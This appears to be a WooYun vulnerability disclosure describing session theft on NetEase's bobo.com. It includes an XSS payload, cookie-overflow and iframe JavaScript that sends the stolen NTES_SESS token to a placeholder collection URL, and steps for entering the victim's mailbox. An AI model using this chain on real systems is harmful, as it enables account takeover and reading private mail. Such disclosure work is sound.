WooYun.org

这里天网传网易密码泄漏，我赶紧去改了下我的密码。改完后继续留在网易冲浪，发现一个很妙的地方，叫bobo
bobo.com是网易旗下的一个网站，一个看女人的网站，一个看女人跳舞的网站。我年纪也不小了，于是开心的看了起来
看着视频里的女主播的舞蹈，我上下半身都忍不住思考，发现bobo的自动登陆有点问题
网易用户登陆状态下，再访问www.bobo.com，会自动登陆bobo。自动登陆流程如下
先跳到163去请求登陆，如下

http://bobo.163.com/checkAuth?url=http://www.bobo.com/&

163那边再返回认证凭证NTES_SESS，上面的请求会302跳转到如下请求

http://www.bobo.com/auth?NTES_SESS=eVDnHhKqQ5phQfq.SUhKXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX0Fz3t.Al2XXgmlY5D8B6zOijFOLH5QM2JXXXXXXXXXXXXLpu7_yJRQLaO0UEF8WpHDS1qJ4_Wmt8qKDG0QHAMnsgcZsae_Af0Ow.65B4BcoDsu9xS1v45ORinZLH&url=http://www.bobo.com/&

最后302跳回到首页，设置完登陆cookie，认证成功
跳回

http://www.bobo.com/

所以，只要偷到NTES_SESS即可，对我来说，需要一个www.bobo.com的XSS即可
我戴上眼镜，发现了一个，是js里的xss，完美的不搭理xss filter。如下

http://www.bobo.com/anchor/upload?functionName=memberShipUpload=null;alert(1);aaa

下面用xss来偷登陆流程中的NTES_SESS
有xss后，就可以在www.bobo.com域执行js了。先用js设置个超长cookie（一会会有用）
然后嵌入一个iframe去请求http://bobo.163.com/checkAuth?url=http://www.bobo.com/&，会302跳转到
http://www.bobo.com/auth?NTES_SESS=eVDnHhKqQ5phQfq.SUhKXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX0Fz3t.Al2XXgmlY5D8B6zOijFOLH5QM2JXXXXXXXXXXXXLpu7_yJRQLaO0UEF8WpHDS1qJ4_Wmt8qKDG0QHAMnsgcZsae_Af0Ow.65B4BcoDsu9xS1v45ORinZLH&url=http://www.bobo.com/&
这个时候由于我们设置了超长cookie，所以此请求会失败无法继续跳转
这时，我们通过iframe.contentWindow.location.href来读取iframe当前加载的url，就可以获取到url里的NTES_SESS值了
代码如下：

for (i = 0; i < 20; i++) {
    document.cookie = i + '=' + repeatt('X', 2000) + ';path=/auth';
}
var iframe =document.createElement('iframe');
iframe.src="http://bobo.163.com/checkAuth?url=http://www.bobo.com/&";
iframe.addEventListener('load', function(){
var	ntes = iframe.contentWindow.location.href;
var img1 =document.createElement('img');
img1.src = "http://127.0.0.1/163img.php?r="+encodeURIComponent(ntes);
for (i = 0; i < 20; i++) {
    document.cookie = i + '=' + repeatt('X', 1) + ';path=/auth';
}
}, false);
document.body.appendChild(iframe);

此方法不支持某些版本的IE，因为IE在超长cookie访问后发现是400错误后，显示的是自己本地的HTML，所以xss无权限读取到当前iframe的url
获取到NTES_SESS后，可以替换自己登陆账号里的ntes_sess，可以进入网易的服务。youdao域下的也一样。
修改完cookie后，可以通过如下请求
http://entry.mail.163.com/coremail/fcg/ntesdoor2?lightweight=1&verifycookie=1&language=-1&style=-1&from=newmsg_www&df=ydweb
进入用户邮箱